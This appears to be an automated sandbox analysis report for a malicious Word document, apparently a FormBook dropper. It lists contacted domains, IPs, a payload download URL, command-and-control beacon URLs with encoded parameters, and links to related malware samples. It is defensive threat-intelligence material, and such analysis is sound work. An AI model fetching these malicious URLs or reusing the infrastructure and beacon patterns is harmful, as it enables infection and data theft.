http://www.searchvity.com/	4%	Virustotal		Browse
https://www.loopia.se?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=parkingweb	0%	Avira URL Cloud	safe
https://www.loopia.com/domainnames/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=pa	0%	Virustotal		Browse
http://aceautocorp.com/ufuh/?-Hc=N8_LbDFHuLL4ejZ&84O0=rAUFcaE3iKkr5p3m3tCLoIcgJcoBLqHpCHmto	0%	Avira URL Cloud	safe
https://static.loopia.se/responsive/images/iOS-57.png	0%	Virustotal		Browse
https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	Avira URL Cloud	safe
https://www.loopia.com/sitebuilder/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=pa	1%	Virustotal		Browse
https://www.loopia.com/hosting/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=parkin	1%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
www.xn--matfrmn-jxa4m.se	194.9.94.86	true	true	0%, Virustotal, Browse	unknown
universalmovies.top	104.21.74.191	true	true	21%, Virustotal, Browse	unknown
parkingpage.namecheap.com	91.195.240.19	true	true	0%, Virustotal, Browse	unknown
aceautocorp.com	198.12.241.35	true	true	1%, Virustotal, Browse	unknown
www.sqlite.org	45.33.6.223	true	false	0%, Virustotal, Browse	unknown
www.kinkynerdspro.blog	54.38.220.85	true	false	4%, Virustotal, Browse	unknown
www.terelprime.com	66.96.161.166	true	true	4%, Virustotal, Browse	unknown
www.99b6q.xyz	unknown	unknown	true	0%, Virustotal, Browse	unknown
www.besthomeincome24.com	unknown	unknown	false	0%, Virustotal, Browse	unknown
www.aceautocorp.com	unknown	unknown	false	1%, Virustotal, Browse	unknown
www.primeplay88.org	unknown	unknown	false	4%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www.kinkynerdspro.blog/ufuh/	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.xn--matfrmn-jxa4m.se/ufuh/?-Hc=N8_LbDFHuLL4ejZ&84O0=JCl8GzBEdF4l5nIyfkeq0ia6oie6u6lAQeoh+x3kN0jP8DE3DVbhST9RD9xIYa+bXtx9nrjGgO+XENgp6DrguLhYbN7qtNMSCWk+pZJhu575eHJRgqTZAIE4NheL	true	Avira URL Cloud: safe	unknown
http://www.terelprime.com/ufuh/?84O0=YGhnx96XAVFPN8tw+HM+ERdVPj6qvRaWteKDUnkDVIOF49Ku923zFB1LHsiTDOOJR3oxDyM0OU58BlZHZbBCNvk4uEj8jDacBIFePGWcdtykoT8enibuKQ6eq0+l&-Hc=N8_LbDFHuLL4ejZ	true	Avira URL Cloud: malware	unknown
https://universalmovies.top/loudzx.scr	true	17%, Virustotal, Browse Avira URL Cloud: phishing	unknown
http://www.xn--matfrmn-jxa4m.se/ufuh/	true	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.primeplay88.org/ufuh/	true	4%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.aceautocorp.com/ufuh/	true	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.sqlite.org/2021/sqlite-dll-win32-x86-3340000.zip	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.aceautocorp.com/ufuh/?-Hc=N8_LbDFHuLL4ejZ&84O0=rAUFcaE3iKkr5p3m3tCLoIcgJcoBLqHpCHmto+mEvmfk+N6Cgt65oFJJSbTgZ9R+lJhnJt4KhMELuPRI2YfMmSiqMqXmclfFfZpNLn5Guu+tn093ffeUIUJTcA0L	true	Avira URL Cloud: safe	unknown
http://www.sqlite.org/2017/sqlite-dll-win32-x86-3210000.zip	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.primeplay88.org/ufuh/?84O0=uB/KNrYRIAEuVxS2CaQ/STQ79sXR+BlQlR67HQQqBOVPNI2QjXmfUVSCEalfoT0oEVOLH05GPMXaAce1CehAlwJBdX/jzmgGgvdHGe2cEEX0VUceLY//9BYN6rMd&-Hc=N8_LbDFHuLL4ejZ	true	Avira URL Cloud: safe	unknown
http://www.kinkynerdspro.blog/ufuh/?84O0=f+AHiK2Co9o+PjKa95eLWuYGzAnlJ1JKF0U6Lu5lfhAIXWifWEmzyo1tk2ryUUFbnpUI1yrkhJgLANJ0QoKTotmHPxBrzP8E8/tDVQZOz/lyKkl1Bs+TKl0SxUzf&-Hc=N8_LbDFHuLL4ejZ	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	dfrgui.exe, 00000008.00000003.467181580.0000000005F6C000.00000004.00000020.00020000.00000000.sdmp, 13d6pS3.8.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://universalmovies.top/v	EQNEDT32.EXE, 00000002.00000002.359979447.0000000000680000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://duckduckgo.com/ac/?q=	dfrgui.exe, 00000008.00000003.467181580.0000000005F6C000.00000004.00000020.00020000.00000000.sdmp, 13d6pS3.8.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://ocsp.entrust.net03	EQNEDT32.EXE, 00000002.00000002.359979447.00000000006B5000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	EQNEDT32.EXE, 00000002.00000002.359979447.00000000006B5000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.diginotar.nl/cps/pkioverheid0	EQNEDT32.EXE, 00000002.00000002.359979447.00000000006B5000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://static.loopia.se/responsive/images/iOS-72.png	dfrgui.exe, 00000008.00000002.636387246.00000000052B0000.00000004.00000800.00020000.00000000.sdmp, dfrgui.exe, 00000008.00000002.636013778.000000000337C000.00000004.10000000.00040000.00000000.sdmp, sQNFFcxirzZbXqUULewCRS.exe, 0000000C.00000002.635396875.0000000003DFC000.00000004.00000001.00040000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.loopia.com/support?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=parking	dfrgui.exe, 00000008.00000002.636387246.00000000052B0000.00000004.00000800.00020000.00000000.sdmp, dfrgui.exe, 00000008.00000002.636013778.000000000337C000.00000004.10000000.00040000.00000000.sdmp, sQNFFcxirzZbXqUULewCRS.exe, 0000000C.00000002.635396875.0000000003DFC000.00000004.00000001.00040000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://static.loopia.se/shared/logo/logo-loopia-white.svg	dfrgui.exe, 00000008.00000002.636387246.00000000052B0000.00000004.00000800.00020000.00000000.sdmp, dfrgui.exe, 00000008.00000002.636013778.000000000337C000.00000004.10000000.00040000.00000000.sdmp, sQNFFcxirzZbXqUULewCRS.exe, 0000000C.00000002.635396875.0000000003DFC000.00000004.00000001.00040000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.loopia.com/login?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=parkingwe	dfrgui.exe, 00000008.00000002.636387246.00000000052B0000.00000004.00000800.00020000.00000000.sdmp, dfrgui.exe, 00000008.00000002.636013778.000000000337C000.00000004.10000000.00040000.00000000.sdmp, sQNFFcxirzZbXqUULewCRS.exe, 0000000C.00000002.635396875.0000000003DFC000.00000004.00000001.00040000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.loopia.com/order/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=parkingw	dfrgui.exe, 00000008.00000002.636387246.00000000052B0000.00000004.00000800.00020000.00000000.sdmp, dfrgui.exe, 00000008.00000002.636013778.000000000337C000.00000004.10000000.00040000.00000000.sdmp, sQNFFcxirzZbXqUULewCRS.exe, 0000000C.00000002.635396875.0000000003DFC000.00000004.00000001.00040000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.aceautocorp.com	sQNFFcxirzZbXqUULewCRS.exe, 0000000C.00000002.635242428.0000000000AD5000.00000040.80000000.00040000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.loopia.com/wordpress/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=park	dfrgui.exe, 00000008.00000002.636387246.00000000052B0000.00000004.00000800.00020000.00000000.sdmp, dfrgui.exe, 00000008.00000002.636013778.000000000337C000.00000004.10000000.00040000.00000000.sdmp, sQNFFcxirzZbXqUULewCRS.exe, 0000000C.00000002.635396875.0000000003DFC000.00000004.00000001.00040000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.searchvity.com/?dn=	dfrgui.exe, 00000008.00000002.636013778.0000000002EC6000.00000004.10000000.00040000.00000000.sdmp, sQNFFcxirzZbXqUULewCRS.exe, 0000000C.00000002.635396875.0000000003946000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000E.00000002.478820963.0000000000BF6000.00000004.80000000.00040000.00000000.sdmp	false	3%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://ocsp.entrust.net0D	EQNEDT32.EXE, 00000002.00000002.359979447.00000000006B5000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.sqlite.org/copyright.html.	dfrgui.exe, 00000008.00000002.636831226.0000000061EA4000.00000008.00000001.01000000.0000000B.sdmp, sqlite3.dll.8.dr	false	URL Reputation: safe	unknown
https://static.loopia.se/shared/images/additional-pages-hero-shape.webp	dfrgui.exe, 00000008.00000002.636387246.00000000052B0000.00000004.00000800.00020000.00000000.sdmp, dfrgui.exe, 00000008.00000002.636013778.000000000337C000.00000004.10000000.00040000.00000000.sdmp, sQNFFcxirzZbXqUULewCRS.exe, 0000000C.00000002.635396875.0000000003DFC000.00000004.00000001.00040000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://static.loopia.se/shared/style/2022-extra-pages.css	dfrgui.exe, 00000008.00000002.636387246.00000000052B0000.00000004.00000800.00020000.00000000.sdmp, dfrgui.exe, 00000008.00000002.636013778.000000000337C000.00000004.10000000.00040000.00000000.sdmp, sQNFFcxirzZbXqUULewCRS.exe, 0000000C.00000002.635396875.0000000003DFC000.00000004.00000001.00040000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://universalmovies.top/loudzx.scrj	EQNEDT32.EXE, 00000002.00000002.359979447.000000000063F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://static.loopia.se/responsive/images/iOS-114.png	dfrgui.exe, 00000008.00000002.636387246.00000000052B0000.00000004.00000800.00020000.00000000.sdmp, dfrgui.exe, 00000008.00000002.636013778.000000000337C000.00000004.10000000.00040000.00000000.sdmp, sQNFFcxirzZbXqUULewCRS.exe, 0000000C.00000002.635396875.0000000003DFC000.00000004.00000001.00040000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://crl.entrust.net/server1.crl0	EQNEDT32.EXE, 00000002.00000002.359979447.00000000006B5000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.loopia.com/loopiadns/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=park	dfrgui.exe, 00000008.00000002.636387246.00000000052B0000.00000004.00000800.00020000.00000000.sdmp, dfrgui.exe, 00000008.00000002.636013778.000000000337C000.00000004.10000000.00040000.00000000.sdmp, sQNFFcxirzZbXqUULewCRS.exe, 0000000C.00000002.635396875.0000000003DFC000.00000004.00000001.00040000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	dfrgui.exe, 00000008.00000003.467181580.0000000005F6C000.00000004.00000020.00020000.00000000.sdmp, 13d6pS3.8.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search	dfrgui.exe, 00000008.00000003.467181580.0000000005F6C000.00000004.00000020.00020000.00000000.sdmp, 13d6pS3.8.dr	false	URL Reputation: safe	unknown
http://whois.loopia.com/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=parkingweb&ut	dfrgui.exe, 00000008.00000002.636387246.00000000052B0000.00000004.00000800.00020000.00000000.sdmp, dfrgui.exe, 00000008.00000002.636013778.000000000337C000.00000004.10000000.00040000.00000000.sdmp, sQNFFcxirzZbXqUULewCRS.exe, 0000000C.00000002.635396875.0000000003DFC000.00000004.00000001.00040000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://static.loopia.se/responsive/styles/reset.css	dfrgui.exe, 00000008.00000002.636387246.00000000052B0000.00000004.00000800.00020000.00000000.sdmp, dfrgui.exe, 00000008.00000002.636013778.000000000337C000.00000004.10000000.00040000.00000000.sdmp, sQNFFcxirzZbXqUULewCRS.exe, 0000000C.00000002.635396875.0000000003DFC000.00000004.00000001.00040000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.google.com/favicon.ico	13d6pS3.8.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://ac.ecosia.org/autocomplete?q=	dfrgui.exe, 00000008.00000003.467181580.0000000005F6C000.00000004.00000020.00020000.00000000.sdmp, 13d6pS3.8.dr	false	URL Reputation: safe	unknown
https://static.loopia.se/responsive/images/iOS-57.png	dfrgui.exe, 00000008.00000002.636387246.00000000052B0000.00000004.00000800.00020000.00000000.sdmp, dfrgui.exe, 00000008.00000002.636013778.000000000337C000.00000004.10000000.00040000.00000000.sdmp, sQNFFcxirzZbXqUULewCRS.exe, 0000000C.00000002.635396875.0000000003DFC000.00000004.00000001.00040000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://universalmovies.top/loudzx.scrkkC:	EQNEDT32.EXE, 00000002.00000002.359979447.000000000063F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0	EQNEDT32.EXE, 00000002.00000002.359979447.00000000006B5000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://universalmovies.top/	EQNEDT32.EXE, 00000002.00000002.359979447.0000000000680000.00000004.00000020.00020000.00000000.sdmp	false	21%, Virustotal, Browse Avira URL Cloud: phishing	unknown
http://www.searchvity.com/	dfrgui.exe, 00000008.00000002.636013778.0000000002EC6000.00000004.10000000.00040000.00000000.sdmp, sQNFFcxirzZbXqUULewCRS.exe, 0000000C.00000002.635396875.0000000003946000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000E.00000002.478820963.0000000000BF6000.00000004.80000000.00040000.00000000.sdmp	false	4%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.loopia.com/sitebuilder/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=pa	dfrgui.exe, 00000008.00000002.636387246.00000000052B0000.00000004.00000800.00020000.00000000.sdmp, dfrgui.exe, 00000008.00000002.636013778.000000000337C000.00000004.10000000.00040000.00000000.sdmp, sQNFFcxirzZbXqUULewCRS.exe, 0000000C.00000002.635396875.0000000003DFC000.00000004.00000001.00040000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.loopia.com/domainnames/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=pa	dfrgui.exe, 00000008.00000002.636387246.00000000052B0000.00000004.00000800.00020000.00000000.sdmp, dfrgui.exe, 00000008.00000002.636013778.000000000337C000.00000004.10000000.00040000.00000000.sdmp, sQNFFcxirzZbXqUULewCRS.exe, 0000000C.00000002.635396875.0000000003DFC000.00000004.00000001.00040000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.loopia.com/hosting/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=parkin	dfrgui.exe, 00000008.00000002.636387246.00000000052B0000.00000004.00000800.00020000.00000000.sdmp, dfrgui.exe, 00000008.00000002.636013778.000000000337C000.00000004.10000000.00040000.00000000.sdmp, sQNFFcxirzZbXqUULewCRS.exe, 0000000C.00000002.635396875.0000000003DFC000.00000004.00000001.00040000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://secure.comodo.com/CPS0	EQNEDT32.EXE, 00000002.00000002.359979447.00000000006B5000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	dfrgui.exe, 00000008.00000003.467181580.0000000005F6C000.00000004.00000020.00020000.00000000.sdmp, 13d6pS3.8.dr	false	URL Reputation: safe	unknown
http://crl.entrust.net/2048ca.crl0	EQNEDT32.EXE, 00000002.00000002.359979447.00000000006B5000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.loopia.com/woocommerce/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=pa	dfrgui.exe, 00000008.00000002.636387246.00000000052B0000.00000004.00000800.00020000.00000000.sdmp, dfrgui.exe, 00000008.00000002.636013778.000000000337C000.00000004.10000000.00040000.00000000.sdmp, sQNFFcxirzZbXqUULewCRS.exe, 0000000C.00000002.635396875.0000000003DFC000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.loopia.se?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=parkingweb	dfrgui.exe, 00000008.00000002.636387246.00000000052B0000.00000004.00000800.00020000.00000000.sdmp, dfrgui.exe, 00000008.00000002.636013778.000000000337C000.00000004.10000000.00040000.00000000.sdmp, sQNFFcxirzZbXqUULewCRS.exe, 0000000C.00000002.635396875.0000000003DFC000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://aceautocorp.com/ufuh/?-Hc=N8_LbDFHuLL4ejZ&84O0=rAUFcaE3iKkr5p3m3tCLoIcgJcoBLqHpCHmto	dfrgui.exe, 00000008.00000002.636013778.00000000036A0000.00000004.10000000.00040000.00000000.sdmp, sQNFFcxirzZbXqUULewCRS.exe, 0000000C.00000002.635396875.0000000004120000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	dfrgui.exe, 00000008.00000003.467181580.0000000005F6C000.00000004.00000020.00020000.00000000.sdmp, 13d6pS3.8.dr	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
194.9.94.86	www.xn--matfrmn-jxa4m.se	Sweden	39570	LOOPIASE	true
45.33.6.223	www.sqlite.org	United States	63949	LINODE-APLinodeLLCUS	false
104.21.74.191	universalmovies.top	United States	13335	CLOUDFLARENETUS	true
198.12.241.35	aceautocorp.com	United States	26496	AS-26496-GO-DADDY-COM-LLCUS	true
54.38.220.85	www.kinkynerdspro.blog	France	16276	OVHFR	false
91.195.240.19	parkingpage.namecheap.com	Germany	47846	SEDO-ASDE	true
66.96.161.166	www.terelprime.com	United States	29873	BIZLAND-SDUS	true

Private

IP
192.168.2.255

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1444130
Start date and time:	2024-05-20 08:52:46 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 21s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	14
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	2
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Doc PI.doc
Detection:	MAL
Classification:	mal100.troj.spyw.expl.evad.winDOC@11/16@13/8
EGA Information:	Successful, ratio: 60%
HCA Information:	Successful, ratio: 89% Number of executed functions: 71 Number of non-executed functions: 190
Cookbook Comments:	Found application associated with file extension: .doc Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Active ActiveX Object Scroll down Close Viewer

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WerFault.exe, WMIADAP.exe, svchost.exe
Execution Graph export aborted for target EQNEDT32.EXE, PID 1596 because there are no executed function
Execution Graph export aborted for target sQNFFcxirzZbXqUULewCRS.exe, PID 2952 because it is empty
HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtEnumerateValueKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
02:53:34	API Interceptor	371x Sleep call for process: EQNEDT32.EXE modified
02:53:41	API Interceptor	22x Sleep call for process: loud89334.scr modified
02:54:14	API Interceptor	3143x Sleep call for process: sQNFFcxirzZbXqUULewCRS.exe modified
02:54:27	API Interceptor	2327698x Sleep call for process: dfrgui.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
194.9.94.86	Beauty_Stem_Invoice.doc	Get hash	malicious	FormBook	Browse	www.xn--matfrmn-jxa4m.se/ufuh/
	MOQ010524Purchase order.doc	Get hash	malicious	FormBook	Browse	www.xn--matfrmn-jxa4m.se/ufuh/
	SalinaGroup.doc	Get hash	malicious	FormBook	Browse	www.xn--matfrmn-jxa4m.se/ufuh/
	PAY-0129.exe	Get hash	malicious	FormBook	Browse	www.torentreprenad.com/s2u9/?7H=mTJ4yhH&qHaT0h=5U7DALWrxqzr56VTS66DkMzivwb8eJw+QuQWKosT9GGOOJNmCsoJdRf2YtOKiYr885RpspfnWz9oIB8tKqH0jqi0U2E5YHFFFQ==
	DHL_SOA_1004404989.exe	Get hash	malicious	FormBook	Browse	www.torentreprenad.com/s2u9/?j8j=6NzlX4xHmtqH&rR=5U7DALWrxqzr56VMLK7KnfayygnCZIw+QuQWKosT9GGOOJNmCsoJdRf2YtOKiYr885RpspfnWz9oIB8tKqH3pN+aCUsxPyV8FA==
	Scan00516.js	Get hash	malicious	FormBook, MailPassView, WSHRAT	Browse	www.acre-com.com/me15/?i8O=bxl0&VPudI=AMxDUnLLexuTfXRuHqoxzPfeXrfBw2lKu15RcCpXpuJEBCulcUbatn2YVJ6xbnCfmbZZ
	SHIPPINGDOCUMENTS.25.23.exe	Get hash	malicious	FormBook	Browse	www.udda.app/ga36/?-Zk4Ah=uKy05ssFXwD7lx+pwOkpcz0JYvvlr0Fm4k7Q090T/1T8NUAbWqhr3VP8iMZHhaUYUaRp&-ZVd=5jo8nLy8
	g8G146l8XU.exe	Get hash	malicious	FormBook	Browse	www.frostdal.se/s26y/?8pAlmdiX=882d78zUy4+UMlJ0mFcKU0FzzswBpgbUl63S0CTJJ7YYOy24S5YeYqbYAzkKlVaYLwFJ&h0DxKN=l4G4b
	Portfunktionen.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.seansaren.com/8mkm/?YfxdA=0TBXZr6&8p9dCJU=dq4Bmr7ke09F/j6gqFBYy8hUF+OUtSAKtvg3uyO8Hql2Nxy80d4gIJwQmfcVpJqaQnb4Hw97lY925H1T11NKL9RBbHv3rBHVxw==
	shdybron2.1.exe	Get hash	malicious	FormBook	Browse	www.giftr.online/sk29/?4hHxFhL=kIJ0w1eRhzsxIkY2EDI0ouQu9gQ5uAgdx+JFieQVw6ZUYc+rFfN6m9UPXTH9XP8rHUyw&n0=cRkX
45.33.6.223	APR0927,24.doc	Get hash	malicious	FormBook	Browse	www.sqlite.org/2021/sqlite-dll-win32-x86-3350000.zip
	Enquiry List.xls	Get hash	malicious	FormBook	Browse	www.sqlite.org/2017/sqlite-dll-win32-x86-3190000.zip
	ITEMS.xls	Get hash	malicious	FormBook, PureLog Stealer	Browse	www.sqlite.org/2017/sqlite-dll-win32-x86-3160000.zip
	TT swift copy.xls	Get hash	malicious	FormBook, PureLog Stealer	Browse	www.sqlite.org/2018/sqlite-dll-win32-x86-3220000.zip
	Beauty_Stem_Invoice.doc	Get hash	malicious	FormBook	Browse	www.sqlite.org/2016/sqlite-dll-win32-x86-3130000.zip
	APRILPR, 24.doc	Get hash	malicious	FormBook	Browse	www.sqlite.org/2017/sqlite-dll-win32-x86-3170000.zip
	Credit confirmation.xls	Get hash	malicious	FormBook, PureLog Stealer	Browse	www.sqlite.org/2016/sqlite-dll-win32-x86-3110000.zip
	Demand G2-2024.xlsx	Get hash	malicious	FormBook	Browse	www.sqlite.org/2019/sqlite-dll-win32-x86-3300000.zip
	PAYROLL.doc	Get hash	malicious	FormBook	Browse	www.sqlite.org/2017/sqlite-dll-win32-x86-3180000.zip
	PAYROLL.doc	Get hash	malicious	FormBook	Browse	www.sqlite.org/2017/sqlite-dll-win32-x86-3180000.zip

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
parkingpage.namecheap.com	RE Draft BL for BK#440019497 REF#388855.exe	Get hash	malicious	FormBook	Browse	91.195.240.19
	file.exe	Get hash	malicious	FormBook	Browse	91.195.240.19
	file.exe	Get hash	malicious	FormBook	Browse	91.195.240.19
	IO23806Dwj.exe	Get hash	malicious	FormBook	Browse	91.195.240.19
	Konstabelens65.exe	Get hash	malicious	FormBook, GuLoader	Browse	91.195.240.19
	Erzs#U00e9bet - #U00e1raj#U00e1nlat k#U00e9r#U00e9se.xlsm	Get hash	malicious	FormBook	Browse	91.195.240.19
	Request for Quotation # 3200025006.exe	Get hash	malicious	FormBook, GuLoader	Browse	91.195.240.19
	Vibrant Purchase Order 1624.exe	Get hash	malicious	FormBook	Browse	91.195.240.19
	F24-005880.exe	Get hash	malicious	FormBook, GuLoader	Browse	91.195.240.19
	WaybillDoc_43948767.exe	Get hash	malicious	FormBook, GuLoader	Browse	91.195.240.19
www.xn--matfrmn-jxa4m.se	opszx.scr.exe	Get hash	malicious	FormBook	Browse	194.9.94.85
	Beauty_Stem_Invoice.doc	Get hash	malicious	FormBook	Browse	194.9.94.86
	MOQ010524Purchase order.doc	Get hash	malicious	FormBook	Browse	194.9.94.86
	SalinaGroup.doc	Get hash	malicious	FormBook	Browse	194.9.94.86
	NEW-ORDER_pdf.exe	Get hash	malicious	FormBook	Browse	194.9.94.85
	alhadani Aprilorders140424.scr.exe	Get hash	malicious	FormBook	Browse	194.9.94.85
	AWB5889829680.scr.exe	Get hash	malicious	FormBook	Browse	194.9.94.85
	Search.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	194.9.94.85
universalmovies.top	PO051524.doc	Get hash	malicious	Unknown	Browse	104.21.74.191
	Scanned doc 03945.doc	Get hash	malicious	AgentTesla	Browse	104.21.74.191
	GENERALGROUP INV FWDRB42024.doc	Get hash	malicious	Lokibot	Browse	104.21.74.191
	Revised PI.doc	Get hash	malicious	Lokibot	Browse	104.21.74.191
	Signed contract-009988876.doc	Get hash	malicious	Unknown	Browse	104.21.74.191
	PAYMENT SLIP.doc	Get hash	malicious	AgentTesla	Browse	172.67.162.95
	PAYROLL.doc	Get hash	malicious	FormBook	Browse	172.67.162.95
	MOQ010524Purchase order.doc	Get hash	malicious	FormBook	Browse	104.21.74.191
	APR PAYROLL.doc	Get hash	malicious	FormBook	Browse	172.67.162.95
	tee030.doc	Get hash	malicious	FormBook	Browse	104.21.74.191

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	https://viewer.solutiondocondemand.com/ViewerElectronicInvoice.aspx?t=KNnZNtGHDZ10ZfWZwOKyGZpzb6185xhEhgnCUrh1mM%2fnt8pIdjfupJkm7bJMIBfyuPGNYOvu0jmDH%2f875R8wD0jPTltxq83FPj7NDTN1hDIphdptMFCaRm36ZWiXdKBrfEYco5jQj1pxIX9nBJN2OXw4rtsRlTcSx9EI3nxthnk%3d	Get hash	malicious	Unknown	Browse	104.17.25.14
	PURCHASE ORDER_REQUEST.xla.xlsx	Get hash	malicious	Unknown	Browse	188.114.96.3
	IMG_1058_1060_200.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.12.205
	PON2401071.xls	Get hash	malicious	Unknown	Browse	188.114.96.3
	file.exe	Get hash	malicious	FormBook	Browse	188.114.97.3
	Pro_Samples.exe	Get hash	malicious	GuLoader	Browse	104.26.12.205
	SAMPLES.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	104.26.13.205
	PDA-APPOINTMENT-LETTER-DOCX.exe	Get hash	malicious	FormBook	Browse	23.227.38.32
	mtJ8kjHpyC.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	yiiz2LXhgH.exe	Get hash	malicious	Xehook Stealer	Browse	172.67.137.239
LOOPIASE	opszx.scr.exe	Get hash	malicious	FormBook	Browse	194.9.94.85
	Beauty_Stem_Invoice.doc	Get hash	malicious	FormBook	Browse	194.9.94.86
